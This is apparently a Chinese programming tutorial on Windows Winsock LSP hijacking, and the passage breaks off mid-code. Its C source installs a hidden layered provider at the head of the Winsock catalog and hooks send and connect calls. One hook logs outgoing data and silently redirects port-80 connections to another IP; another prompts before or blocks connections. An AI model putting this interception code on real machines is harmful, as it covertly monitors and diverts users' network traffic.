
LSP 简介:
- 分层服务提供商(Layered Service Provider,LSP)是一种可以扩展Winsock作为应用程序的 Windows 的网络套接字工具的机制。Winsock LSP 可用于非常广泛的实用用途,包括 Internet 家长控制 (parental control) 和 Web 内容筛选。在以前版本的 Windows XP 中,删除不正确的(也称为“buggy”)LSP 可能会导致注册表中的 Winsock 目录损坏,潜在的导致所有网络连接的丢失。 LSP就是TCP/IP等协议的接口.LSP用在正途上可以方便程序员们编写监视系统网络通讯情况的Sniffer,可是现在常见的LSP都被用于浏览器劫持。
- “浏览器劫持” 或者 “分层服务提供程序”。某些间谍软件会修改Winsock 2的设置,进行LSP“浏览器劫持”,所有与网络交换的信息都要通过这些间谍软件,从而使得它们可以监控
使用者的信息。著名的如New net插件或WebHancer组件,它们是安装一些软件时带来的你不想要的东西。
复制代码LSP 劫持(Layered Service Provider Hijacking):
- 是一种计算机安全漏洞和攻击技术,通常与Windows操作系统相关。它涉及到网络协议栈中的层式服务提供程序(Layered Service Provider,LSP),这些提供程序用于修改、监视或过滤网络流量。LSP劫持是指攻击者通过操纵LSP,以在网络通信中插入恶意代码或进行网络监听,从而捕获敏感信息或执行恶意操作。
- 应用程序通过 socket 进行网络通信时会调用 ws2_32.dll 的导出函数,比如 send/recv 等,而这些函数时通过更底层的 LSP 提供的 SPI(服务提供者接口)实现的。
- 如果有多个符合条件的 SPI,系统将会调用在 winsock 目录最前面的那个 。所以注册一个 SPI 并插入到 winsock 目录的最前面就可以劫持了。另外劫持 LSP 需要将代码卸载 DLL 里。
复制代码实现代码:
主程序:- #include <Ws2spi.h>
- #include <Sporder.h>
- #include <windows.h>
- #include <stdio.h>
- #pragma comment(lib, "Ws2_32.lib")
- #pragma comment(lib, "Rpcrt4.lib")
-
- // LSP硬编码
- GUID ProviderGuid = { 0xd3c21122, 0x85e1, 0x48f3, { 0x9a, 0xb6, 0x23, 0xd9, 0x0c, 0x73, 0x07, 0xef } };
-
- LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols)
- {
- DWORD dwSize = 0;
- int nError;
- LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
-
- if (::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR)
- {
- if (nError != WSAENOBUFS)return NULL;
- }
-
- pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize);
- *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
- return pProtoInfo;
- }
-
- void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo)
- {
- ::GlobalFree(pProtoInfo);
- }
-
- BOOL InstallProvider(WCHAR *pwszPathName)
- {
-
- WCHAR wszLSPName[] = L"PhoenixLSP";
- LPWSAPROTOCOL_INFOW pProtoInfo;
- int nProtocols;
- WSAPROTOCOL_INFOW OriginalProtocolInfo[3];
- DWORD dwOrigCatalogId[3];
- int nArrayCount = 0;
- DWORD dwLayeredCatalogId; // 我们分层协议的目录ID号
- int nError;
-
- // 找到我们的下层协议,将信息放入数组中
- // 枚举所有服务程序提供者
- pProtoInfo = GetProvider(&nProtocols);
- BOOL bFindUdp = FALSE;
- BOOL bFindTcp = FALSE;
- BOOL bFindRaw = FALSE;
- for (int i = 0; i < nProtocols; i++)
- {
- if (pProtoInfo[i].iAddressFamily == AF_INET)
- {
-
- if (!bFindUdp && pProtoInfo[i].iProtocol == IPPROTO_UDP)
- {
-
- memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
- OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
- OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
- dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
- bFindUdp = TRUE;
- }
-
- if (!bFindTcp && pProtoInfo[i].iProtocol == IPPROTO_TCP)
- {
- memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
- OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
- OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
- dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
- bFindTcp = TRUE;
- }
-
- if (!bFindRaw && pProtoInfo[i].iProtocol == IPPROTO_IP)
- {
- memcpy(&OriginalProtocolInfo[nArrayCount], &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
- OriginalProtocolInfo[nArrayCount].dwServiceFlags1 =
- OriginalProtocolInfo[nArrayCount].dwServiceFlags1 & (~XP1_IFS_HANDLES);
- dwOrigCatalogId[nArrayCount++] = pProtoInfo[i].dwCatalogEntryId;
- bFindRaw = TRUE;
- }
- }
- }
-
- // 安装我们的分层协议,获取一个dwLayeredCatalogId
- // 随便找一个下层协议的结构复制过来即可
- WSAPROTOCOL_INFOW LayeredProtocolInfo;
- memcpy(&LayeredProtocolInfo, &OriginalProtocolInfo[0], sizeof(WSAPROTOCOL_INFOW));
- // 修改协议名称,类型,设置PFL_HIDDEN标志
- wcscpy(LayeredProtocolInfo.szProtocol, wszLSPName);
- LayeredProtocolInfo.ProtocolChain.ChainLen = LAYERED_PROTOCOL; // 0;
- LayeredProtocolInfo.dwProviderFlags |= PFL_HIDDEN;
-
- // 安装
- //WSAEPROVIDERFAILEDINIT---------DLL导出函数需要导出WSPStartup
- if (::WSCInstallProvider(&ProviderGuid,pwszPathName, &LayeredProtocolInfo, 1, &nError) == SOCKET_ERROR)
- {
- int a = GetLastError();
- printf("WSCInstallProvider %d\n", a);
- getchar();
- getchar();
- return FALSE;
- }
-
- // 重新枚举协议,获取分层协议的目录ID号
- FreeProvider(pProtoInfo);
- pProtoInfo = GetProvider(&nProtocols);
- for (int i = 0; i < nProtocols; i++)
- {
- if (memcmp(&pProtoInfo[i].ProviderId, &ProviderGuid, sizeof(ProviderGuid)) == 0)
- {
- dwLayeredCatalogId = pProtoInfo[i].dwCatalogEntryId;
- break;
- }
- }
-
- // 安装协议链
- // 修改协议名称,类型
- WCHAR wszChainName[WSAPROTOCOL_LEN + 1];
- for (int i = 0; i < nArrayCount; i++)
- {
- swprintf(wszChainName, L"%ws over %ws", wszLSPName, OriginalProtocolInfo[i].szProtocol);
- wcscpy(OriginalProtocolInfo[i].szProtocol, wszChainName);
- if (OriginalProtocolInfo[i].ProtocolChain.ChainLen == 1)
- {
- OriginalProtocolInfo[i].ProtocolChain.ChainEntries[1] = dwOrigCatalogId[i];
- }
- else
- {
-
- for (int j = OriginalProtocolInfo[i].ProtocolChain.ChainLen; j > 0; j--)
- {
- OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j]= OriginalProtocolInfo[i].ProtocolChain.ChainEntries[j - 1];
- }
-
- }
- OriginalProtocolInfo[i].ProtocolChain.ChainLen++;
- OriginalProtocolInfo[i].ProtocolChain.ChainEntries[0] = dwLayeredCatalogId;
- }
-
- // 获取一个Guid,安装之
- GUID ProviderChainGuid;
- if (::UuidCreate(&ProviderChainGuid) == RPC_S_OK)
- {
-
- if (WSCInstallProvider(&ProviderChainGuid,pwszPathName, OriginalProtocolInfo, nArrayCount, &nError) == SOCKET_ERROR)
- {
- printf("UuidCreate1\n");
- return FALSE;
- }
- }
- else
- {
- printf("UuidCreate2\n");
- return FALSE;
- }
-
- // 重新排序Winsock目录,将我们的协议链提前
- // 重新枚举安装的协议
- FreeProvider(pProtoInfo);
- pProtoInfo = GetProvider(&nProtocols);
- DWORD dwIds[20];
- int nIndex = 0;
-
- // 添加我们的协议链
-
- for (int i = 0; i < nProtocols; i++)
- {
- if ((pProtoInfo[i].ProtocolChain.ChainLen > 1) &&(pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId))
- dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId;
- }
-
- // 添加其它协议
- for (int i = 0; i < nProtocols; i++)
- {
-
- if ((pProtoInfo[i].ProtocolChain.ChainLen <= 1) ||(pProtoInfo[i].ProtocolChain.ChainEntries[0] != dwLayeredCatalogId))
- dwIds[nIndex++] = pProtoInfo[i].dwCatalogEntryId;
- }
-
- // 重新排序Winsock目录
-
- if ((nError = ::WSCWriteProviderOrder(dwIds, nIndex)) != ERROR_SUCCESS)
- {
- printf("WSCWriteProviderOrder\n");
- return FALSE;
- }
-
- FreeProvider(pProtoInfo);
- printf("OK\n");
- return TRUE;
-
- }
-
- BOOL RemoveProvider()
- {
-
- LPWSAPROTOCOL_INFOW pProtoInfo;
- int nProtocols;
- DWORD dwLayeredCatalogId;
-
- // 根据Guid取得分层协议的目录ID号
- pProtoInfo = GetProvider(&nProtocols);
- int nError;
- int i = 0;
- for ( i = 0; i < nProtocols; i++)
- {
- if (memcmp(&ProviderGuid, &pProtoInfo[i].ProviderId, sizeof(ProviderGuid)) == 0)
- {
- dwLayeredCatalogId = pProtoInfo[i].dwCatalogEntryId;
- break;
- }
- }
-
- if (i < nProtocols)
- {
-
- // 移除协议链
- for (i = 0; i < nProtocols; i++)
- {
- if ((pProtoInfo[i].ProtocolChain.ChainLen > 1) &&(pProtoInfo[i].ProtocolChain.ChainEntries[0] == dwLayeredCatalogId))
- {
- WSCDeinstallProvider(&pProtoInfo[i].ProviderId, &nError);
- }
- }
-
- // 移除分层协议
- ::WSCDeinstallProvider(&ProviderGuid, &nError);
- }
- return TRUE;
- }
-
- void main(void)
- {
- //安装协议
- TCHAR szPathName[256];
- TCHAR* p;
- if (::GetFullPathName(L"LSP.dll", 256, szPathName, &p) != 0)
- {
- if (InstallProvider(szPathName))
- {
- printf(" Install successully. \n");
- }
- }
-
- system("pause");
-
- //移除协议
- if (RemoveProvider())
- printf(" Deinstall successully. \n");
- else
- printf(" Deinstall failed. \n");
-
- system("pause");
- return 0;
- }
复制代码 LSP.Dll- #include <Winsock2.h>
- #include <Ws2spi.h>
- #include <Windows.h>
- #include <stdio.h>
- #include <tchar.h>
- #pragma comment(lib, "Ws2_32.lib")
-
- WSPUPCALLTABLE g_pUpCallTable; // 上层函数列表。如果LSP创建了自己的伪句柄,才使用这个函数列表
- WSPPROC_TABLE g_NextProcTable; // 下层函数列表
- TCHAR g_szCurrentApp[MAX_PATH]; // 当前调用本DLL的程序的名称
-
- BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- {
- GetModuleFileName(NULL, g_szCurrentApp, MAX_PATH);
- }
- break;
- }
- return TRUE;
- }
-
- LPWSAPROTOCOL_INFOW GetProvider(LPINT lpnTotalProtocols)
- {
-
- DWORD dwSize = 0;
- int nError;
- LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
-
- // 取得需要的长度
- if (WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError) == SOCKET_ERROR)
- {
- if (nError != WSAENOBUFS)return NULL;
- }
-
- pProtoInfo = (LPWSAPROTOCOL_INFOW)::GlobalAlloc(GPTR, dwSize);
- *lpnTotalProtocols = ::WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
- return pProtoInfo;
-
- }
-
- void FreeProvider(LPWSAPROTOCOL_INFOW pProtoInfo)
- {
- GlobalFree(pProtoInfo);
- }
-
- int WSPAPI WSPSendTo(
- SOCKET s,
- LPWSABUF lpBuffers,
- DWORD dwBufferCount,
- LPDWORD lpNumberOfBytesSent,
- DWORD dwFlags,
- const struct sockaddr FAR * lpTo,
- int iTolen,
- LPWSAOVERLAPPED lpOverlapped,
- LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine,
- LPWSATHREADID lpThreadId,
- LPINT lpErrno
- )
-
- {
-
- OutputDebugString(g_szCurrentApp);
-
- // 拒绝所有目的端口为4567的UDP封包
- SOCKADDR_IN sa = *(SOCKADDR_IN*)lpTo;
- if (sa.sin_port == htons(4567))
- {
-
- int iError;
- g_NextProcTable.lpWSPShutdown(s, SD_BOTH, &iError);
- *lpErrno = WSAECONNABORTED;
- return SOCKET_ERROR;
- }
- return g_NextProcTable.lpWSPSendTo(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpTo, iTolen, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
- }
-
- int WSPAPI WSPSend(
- SOCKET s,
- LPWSABUF lpBuffers,
- DWORD dwBufferCount,
- LPDWORD lpNumberOfBytesSent,
- DWORD dwFlags,
- LPWSAOVERLAPPED lpOverlapped,
- LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine,
- LPWSATHREADID lpThreadId,
- LPINT lpErrno
- )
- {
-
- if (lpBuffers)
- {
- if (lpBuffers->len > 1 && lpBuffers->buf)
- {
- char szText[20480] = { 0 };
- _snprintf_s(szText, sizeof(szText), ("当前数据:长度%d 数据%s\n"), lpBuffers->len, lpBuffers->buf);
- OutputDebugStringA(szText);
- }
- }
-
- return g_NextProcTable.lpWSPSend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine, lpThreadId, lpErrno);
- }
-
- int WSPAPI WSPConnect(
- SOCKET s,
- const struct sockaddr FAR* name,
- int namelen,
- LPWSABUF lpCallerData,
- LPWSABUF lpCalleeData,
- LPQOS lpSQOS,
- LPQOS lpGQOS,
- LPINT lpErrno
- )
- {
-
- PSOCKADDR_IN paddrSrv = (SOCKADDR_IN*)name;
- if (paddrSrv)
- {
- if (paddrSrv->sin_family==AF_INET)
- {
- if (ntohs(paddrSrv->sin_port)==80)
- {
- OutputDebugString(g_szCurrentApp);
-
- char szText[MAX_PATH] = { 0 };
- _snprintf_s(szText, sizeof(szText), ("当前端口%d ---IP地址%s Ip地址%d\n"), ntohs(paddrSrv->sin_port), inet_ntoa(paddrSrv->sin_addr), paddrSrv->sin_addr.S_un.S_addr);
- OutputDebugStringA(szText);
-
- paddrSrv->sin_addr.S_un.S_addr = inet_addr("8.8.8.8");
- _snprintf_s(szText, sizeof(szText), ("修改后端口%d ---IP地址%s Ip地址%d\n"), ntohs(paddrSrv->sin_port), inet_ntoa(paddrSrv->sin_addr), paddrSrv->sin_addr.S_un.S_addr);
- OutputDebugStringA(szText);
-
- }
- }
- }
-
- return g_NextProcTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
- }
-
-
- int WSPAPI WSPStartup(
- WORD wVersionRequested,
- LPWSPDATA lpWSPData,
- LPWSAPROTOCOL_INFO lpProtocolInfo,
- WSPUPCALLTABLE UpcallTable,
- LPWSPPROC_TABLE lpProcTable
- )
-
- {
-
- OutputDebugString(g_szCurrentApp);
- if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
- {
- return WSAEPROVIDERFAILEDINIT;
- }
-
- // 保存向上调用的函数表指针(这里我们不使用它)
- g_pUpCallTable = UpcallTable;
-
- // 枚举协议,找到下层协议的WSAPROTOCOL_INFOW结构
- WSAPROTOCOL_INFOW NextProtocolInfo;
- int nTotalProtos;
- LPWSAPROTOCOL_INFOW pProtoInfo = GetProvider(&nTotalProtos);
-
- // 下层入口ID
- int i = 0;
- DWORD dwBaseEntryId = lpProtocolInfo->ProtocolChain.ChainEntries[1];
- for ( i = 0; i < nTotalProtos; i++)
- {
- if (pProtoInfo[i].dwCatalogEntryId == dwBaseEntryId)
- {
- memcpy(&NextProtocolInfo, &pProtoInfo[i], sizeof(NextProtocolInfo));
- break;
- }
- }
-
- if (i >= nTotalProtos)
- {
- OutputDebugString(TEXT("WSPStartup: Can not find underlying protocol"));
- return WSAEPROVIDERFAILEDINIT;
- }
-
- // 加载下层协议的DLL
- int nError;
- TCHAR szBaseProviderDll[MAX_PATH];
- int nLen = MAX_PATH;
-
- // 取得下层提供程序DLL路径
- if (::WSCGetProviderPath(&NextProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
- {
- OutputDebugString(TEXT("WSPStartup: WSCGetProviderPath() failed"));
- return WSAEPROVIDERFAILEDINIT;
- }
-
- if (!::ExpandEnvironmentStrings(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
- {
- OutputDebugString(TEXT("WSPStartup: ExpandEnvironmentStrings() failed"));
- return WSAEPROVIDERFAILEDINIT;
- }
-
- // 加载下层提供程序
-
- HMODULE hModule = ::LoadLibrary(szBaseProviderDll);
- if (hModule == NULL)
- {
- //ODS1(L" WSPStartup: LoadLibrary() failed %d \n", ::GetLastError());
- OutputDebugString(TEXT("WSPStartup: LoadLibrary() failed"));
- return WSAEPROVIDERFAILEDINIT;
- }
-
- // 导入下层提供程序的WSPStartup函数
-
- LPWSPSTARTUP pfnWSPStartup = NULL;
- pfnWSPStartup = (LPWSPSTARTUP)::GetProcAddress(hModule, "WSPStartup");
- if (pfnWSPStartup == NULL)
- {
- //ODS1(L" WSPStartup: GetProcAddress() failed %d \n", ::GetLastError());
- OutputDebugString(TEXT("WSPStartup: GetProcAddress() failed"));
- return WSAEPROVIDERFAILEDINIT;
- }
-
- // 调用下层提供程序的WSPStartup函数
-
- LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
- if (NextProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
- pInfo = &NextProtocolInfo;
-
- int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
- if (nRet != ERROR_SUCCESS)
- {
- OutputDebugString(TEXT(" WSPStartup: underlying provider's WSPStartup() failed"));
- return nRet;
- }
-
- // 保存下层提供者的函数表
- g_NextProcTable = *lpProcTable;
-
- // 修改传递给上层的函数表,Hook感兴趣的函数,这里做为示例,仅Hook了WSPSendTo函数
- // 您还可以Hook其它函数,如WSPSocket、WSPCloseSocket、WSPConnect等
-
- //lpProcTable->lpWSPSendTo = WSPSendTo;
- lpProcTable->lpWSPSend = WSPSend;
- lpProcTable->lpWSPConnect = WSPConnect;
- FreeProvider(pProtoInfo);
- return nRet;
-
- }
复制代码 DLL源码:- // 全局遍历
- WCHAR exepath[MAX_PATH] = { 0 };
- WSPPROC_TABLE trueTable = { 0 };
-
- int GetProvider(LPWSAPROTOCOL_INFOW &pProtoInfo)
- {
- // 首次调用,pProtoInfo传入NULL,取得需要的缓冲区长度
- DWORD dwSize = 0;
- int nError = 0;
- if (WSCEnumProtocols(NULL, NULL, &dwSize, &nError) == SOCKET_ERROR)
- {
- if (nError != WSAENOBUFS)
- {
- return 0;
- }
- }
- // 申请足够缓冲区内存。
- pProtoInfo = (LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR, dwSize);
- if (pProtoInfo == NULL)
- {
- return 0;
- }
- //再次调用WSCEnumProtocols函数
- return WSCEnumProtocols(NULL, pProtoInfo, &dwSize, &nError);
- }
-
- int WSPConnect(SOCKET s, const struct sockaddr FAR* name, int namelen,
- LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS,
- LPINT lpErrno)
- {
- SOCKADDR_IN addr = *(SOCKADDR_IN*)name;
- if (addr.sin_port==htons(80))
- {
- MessageBoxW(0, L"有程序访问外网80端口", L"拒绝访问", 0);
- return SOCKET_ERROR;
- }
- return trueTable.lpWSPConnect(s, name, namelen, lpCallerData, lpCalleeData, lpSQOS, lpGQOS, lpErrno);
- }
-
- int WSPAPI WSPStartup(
- WORD wVersionRequested,
- LPWSPDATA lpWSPData,
- LPWSAPROTOCOL_INFOW lpProtocolInfo,
- WSPUPCALLTABLE UpcallTable,
- LPWSPPROC_TABLE lpProcTable
- )
- /*
- 当应用程序通过SOCKET创建socket时会调用系统根据Winsock目录和程序的需要来将对应的传输服务提供者,即
- 一个dll加载到目标进程中. 然后调用该dll提供的WSPStartup函数来初始化.初始化的
- 目的就是为了通过调用这个函数来获取该这次操作socket的API函数对应的SPI
- 这就是windows上写socket时之前必须通过WSAStartup来进行socket初始化的原因
- 该函数的lpProcTable 参数是个结构体,保存了所有的SPI函数.也就是可以从这个参数来获取SPI
- 所以只需导出这个函数,然后将其他的SPI填写到lpProcTable中,最后返回给程序
- 以上都是正常情况下的调用过程. 如果我们让系统加载我们给它提供的dll就可以导出该函数,并
- hook掉lpProcTable中的成员进行监控
. 但是我们hook该函数后允许的话应该最后要调用正常的SPI, - 这时参数lpProtocolInfo就能派上用场. 通过该参数可以获取原来的协议的目录id,然后遍历winsock
- 目录找到对应的协议的传输服务提供者即一个dll路径,通过加载该dll并调用其中的WSPStartup即可获取
- 真正的SPI,然后调用它.最终可以实现监控
,修改,拦截等功能 - */
- {
- //我们编写的DLL用于协议链中,所以如果是基础协议或分层协议使用则直接返回错误
- if (lpProtocolInfo->ProtocolChain.ChainLen <= 1)
- {
- return WSAEPROVIDERFAILEDINIT;
- }
- WCHAR exename[100] = { 0 };
- wsprintf(exename, L"应用程序: %ls 正在联网,是否允许?", exepath);
- if (MessageBoxW(0,exename,L"温馨提示",MB_YESNO|MB_ICONWARNING)==IDNO)
- {
- MessageBoxW(0, L"已拦截", L"提示", 0);
- return WSAEPROVIDERFAILEDINIT;
- }
- // 枚举协议,找到下层协议的WSAPROTOCOL_INFOW结构
- WSAPROTOCOL_INFOW trueProtocolInfo; //保存真正的协议结构
- LPWSAPROTOCOL_INFOW pProtoInfo = NULL;
- int allproto = GetProvider(pProtoInfo);
- DWORD trueId = lpProtocolInfo->ProtocolChain.ChainEntries[1];//获取真正的协议目录id
- int i;
- //遍历查找真正的协议结构
- for (i = 0; i < allproto; i++)
- {
- if (pProtoInfo[i].dwCatalogEntryId==trueId)
- {
- memcpy(&trueProtocolInfo, &pProtoInfo[i], sizeof(WSAPROTOCOL_INFOW));
- break;
- }
- }
- //没找到就返回失败
- if (i>=allproto)
- {
- return WSAEPROVIDERFAILEDINIT;
- }
- int nError;
- wchar_t szBaseProviderDll[MAX_PATH];//保存真正dll路径
- int nLen = MAX_PATH;
- // 取得下层提供程序DLL路径
- if (WSCGetProviderPath(&trueProtocolInfo.ProviderId, szBaseProviderDll, &nLen, &nError) == SOCKET_ERROR)
- {
- return WSAEPROVIDERFAILEDINIT;
- }
- //上面的函数执行后路径中会存在环境变量,通过下面展开环境变量
- if (!ExpandEnvironmentStringsW(szBaseProviderDll, szBaseProviderDll, MAX_PATH))
- {
- return WSAEPROVIDERFAILEDINIT;
- }
-
- // 加载真正dll
- HMODULE hModule = LoadLibraryW(szBaseProviderDll);
- if (hModule == NULL)
- {
- return WSAEPROVIDERFAILEDINIT;
- }
-
- // 导入真正dll的WSPStartup函数
- LPWSPSTARTUP pfnWSPStartup = NULL;
- pfnWSPStartup = (LPWSPSTARTUP)GetProcAddress(hModule, "WSPStartup");
- if (pfnWSPStartup == NULL)
- {
- return WSAEPROVIDERFAILEDINIT;
- }
-
- // 调用下层提供程序的WSPStartup函数以填充SPI地址表
- LPWSAPROTOCOL_INFOW pInfo = lpProtocolInfo;
- //
- if (trueProtocolInfo.ProtocolChain.ChainLen == BASE_PROTOCOL)
- {
- pInfo = &trueProtocolInfo;
- }
- else
- {
- for (int j = 0; j<lpProtocolInfo->ProtocolChain.ChainLen; j++)
- {
- lpProtocolInfo->ProtocolChain.ChainEntries[j]
- = lpProtocolInfo->ProtocolChain.ChainEntries[j + 1];
- }
- lpProtocolInfo->ProtocolChain.ChainLen--;
- }
- //调用真正的WSPStartup, 注意参数,协议结构参数必须是原来我们想劫持的那个协议结构
- int nRet = pfnWSPStartup(wVersionRequested, lpWSPData, pInfo, UpcallTable, lpProcTable);
- if (nRet != ERROR_SUCCESS)
- {
- return nRet;
- }
- memcpy(&trueTable, lpProcTable, sizeof(WSPPROC_TABLE)); //保存到trueTable中以便调用
- //进行api替换
- lpProcTable->lpWSPConnect = (LPWSPCONNECT)WSPConnect;
-
- }
-
- BOOL APIENTRY DllMain(HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- GetModuleFileNameW(0, exepath, MAX_PATH * sizeof(wchar_t));
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
复制代码 主程序:- #include<Windows.h>
- #include<locale.h>
- #include<stdio.h>
- #include<malloc.h>
- #pragma comment(lib,"ws2_32.lib")
-
- GUID layerGuid;
-
- #define layerName L"freesec"
-
- DWORD findGuid()
- {
- //枚举winsock目录中的协议
- LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
- DWORD size = 0; //大小
- DWORD num; //数量
- WSCEnumProtocols(0, 0, &size, 0);
- info = (LPWSAPROTOCOL_INFOW)malloc(size);
- num = WSCEnumProtocols(0, info, &size, 0);
- if (num == SOCKET_ERROR)
- {
- free(info);
- return 0;
- }
- int i;
- for ( i= 0; i < num; i++)
- {
- if (lstrcmpW(info[i].szProtocol,layerName)==0)
- {
- memcpy(&layerGuid, &info[i].ProviderId, sizeof(GUID));
- break;
- }
- }
- free(info);
- if (i==num)//没找到
- {
- return 0;
- }
- return 1;
- }
- DWORD lspInject()
- {
- //枚举winsock目录中的协议
- LPWSAPROTOCOL_INFOW info;//指向winsock目录中协议
- DWORD size = 0; //大小
- DWORD num; //数量
- WSCEnumProtocols(0, 0, &size, 0);
- info = (LPWSAPROTOCOL_INFOW)malloc(size);
- num = WSCEnumProtocols(0, info, &size, 0);
- DWORD trueId; //存储被安装的提供者的目录id
- if (num == SOCKET_ERROR)
- {
- free(info);
- return 0;
- }
-
- WCHAR supplier[] = layerName;
- WCHAR dllpath[] = L"E:\\0day\\shellcode\\Debug\\freesec.dll";//指定你的dll文件
- DWORD myId;
- int proto = IPPROTO_TCP; //目标协议
-
- WSAPROTOCOL_INFOW save = { 0 }; //用于存储指定协议的正常的提供者,最后用来作为分层协议和协议链的模板for (int i = 0; i < num; i++)
- {//找符合条件的提供者,但不能是分层协议
- if (info[i].iAddressFamily == AF_INET&&info[i].iProtocol == proto&&info[i].ProtocolChain.ChainLen!=0)
- {
- memcpy(&save, &info[i], sizeof(WSAPROTOCOL_INFOW)); //将原来的基础协议信息保存
- save.dwServiceFlags1 &= ~XP1_IFS_HANDLES; //去掉XP1_IFS_HANDLES标志
- trueId = info[i].dwCatalogEntryId;
- break;
- }
- }
-
- //安装分层协议
- WSAPROTOCOL_INFOW Lpi = { 0 }; //新的分层协议
- memcpy(&Lpi, &save, sizeof(WSAPROTOCOL_INFOW)); //以这个保存的系统已有协议作为模板
- lstrcpyW(Lpi.szProtocol, supplier); //协议名,其实就是一个代号而已,可以随意起名
- Lpi.ProtocolChain.ChainLen = LAYERED_PROTOCOL; //设置为分层协议
- Lpi.dwProviderFlags |= PFL_HIDDEN; //?
- GUID pguid; //分层协议的guid
- UuidCreate(&pguid);
- memcpy(&layerGuid,&pguid,sizeof(GUID));
- if (WSCInstallProvider(&pguid, dllpath, &Lpi, 1, 0) == SOCKET_ERROR) //安装该分层协议
- {
- free(info);
- return 0;
- }
-
- //重新枚举协议以获取分层协议的目录id
- free(info); //因为添加了一个分层协议,所以需要重新分配内存
- DWORD layerId; //保存分层协议目录id
- WSCEnumProtocols(0, 0, &size, 0);
- info = (LPWSAPROTOCOL_INFOW)malloc(size);
- num = WSCEnumProtocols(0, info, &size, 0);
- if (num == SOCKET_ERROR)
- {
- free(info);
- return 0;
- }
-
- for (int i = 0; i < num; i++) //遍历协议,直到找到刚才新增的分层协议
- {
- if (memcmp(&info[i].ProviderId, &pguid, sizeof(GUID)) == 0)
- {
- layerId = info[i].dwCatalogEntryId; //获取分层协议目录id
- }
- }
-
- //安装协议链
- WCHAR chainName[WSAPROTOCOL_LEN + 1]; //其实就是一个名字代号,和分层协议的名字一样
- wsprintf(chainName, L"%ls over %ls", supplier, save.szProtocol);
- lstrcpyW(save.szProtocol, chainName); //改名字1
- if (save.ProtocolChain.ChainLen == 1) //如果目标协议的正常提供者是基础协议则将其目录id放在协议链的第2个位置
- {
- save.ProtocolChain.ChainEntries[1] = trueId; //将id写入到该协议链的ChainEntries数组中,这个数组只有当它是协议链时才有意义
- }
- else //否则就是协议链提供者
- {
- for (int i = save.ProtocolChain.ChainLen; i > 0; i--)//如果是协议链则将该协议链中其他协议往后移,
- //以便将自己的分层协议插入到链首.但是这个数组最大存7个,所以如果原来就占满了,理论上会挤掉最后一个
- {
- save.ProtocolChain.ChainEntries[i] = save.ProtocolChain.ChainEntries[i - 1];
- }
- }
-
- save.ProtocolChain.ChainEntries[0] = layerId;
- save.ProtocolChain.ChainLen++;
-
- //获取guid,安装协议链
- GUID providerChainGuid;
- UuidCreate(&providerChainGuid);
- if (WSCInstallProvider(&providerChainGuid, dllpath, &save, 1, 0) == SOCKET_ERROR)
- {
- free(info);
- return 0;
- }
-
- //重新枚举协议
- free(info);
- WSCEnumProtocols(0, 0, &size, 0);
- info = (LPWSAPROTOCOL_INFOW)malloc(size);
- num = WSCEnumProtocols(0, info, &size, 0);
- if (num == SOCKET_ERROR)
- {
- free(info);
- return 0;
- }
- //遍历获取我们的协议链的目录id
- DWORD* chainId = (DWORD*)malloc(num * sizeof(DWORD)); //这个是协议链的目录id数组,把我们的协议链id
- //放在最前面,系统原来的按顺序放后面
- DWORD cindex = 0;
- for (int i = 0; i < num; i++)
- {
- if ((info[i].ProtocolChain.ChainLen > 1) && (info[i].ProtocolChain.ChainEntries[0] == layerId))
- {
- chainId[cindex] = info[i].dwCatalogEntryId;
- cindex++;
- }
- }
- for (int i = 0; i < num; i++)
- {
- if ((info[i].ProtocolChain.ChainLen <= 1) || (info[i].ProtocolChain.ChainEntries[0] != layerId))
- {
- chainId[cindex] = info[i].dwCatalogEntryId;
- cindex++;
